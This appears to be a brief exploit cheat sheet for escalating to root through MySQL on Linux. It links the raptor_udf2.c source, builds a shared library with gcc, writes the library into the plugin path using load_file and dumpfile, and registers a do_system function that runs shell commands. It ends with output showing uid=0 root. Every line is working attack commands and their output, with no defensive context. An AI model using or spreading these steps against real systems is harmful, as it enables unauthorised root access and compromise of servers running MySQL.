MYSQL Linux Root

https://0xdeadbeef.info/exploits/raptor_udf2.c
$ gcc -g -c raptor_udf2.c
$ gcc -g -shared -W1,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
$ mysql -u root -p
mysql> use mysql;
mysql> create table foo(line blob);
mysql> insert into foo values(load_file('/home/raptor/raptor_udf2.so'));
mysql> select * from foo into dumpfile '/usr/lib/raptor_udf2.so';
mysql> create function do_system returns integer soname 'raptor_udf2.so';
mysql> select * from mysql.func;

name	ret	dl	type
do_system	2	raptor_udf2.so	function

mysql> select do_system('id > /tmp/out; chown raptor.raptor /tmp/out');
mysql> \! sh
sh-2.05b$ cat /tmp/out
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)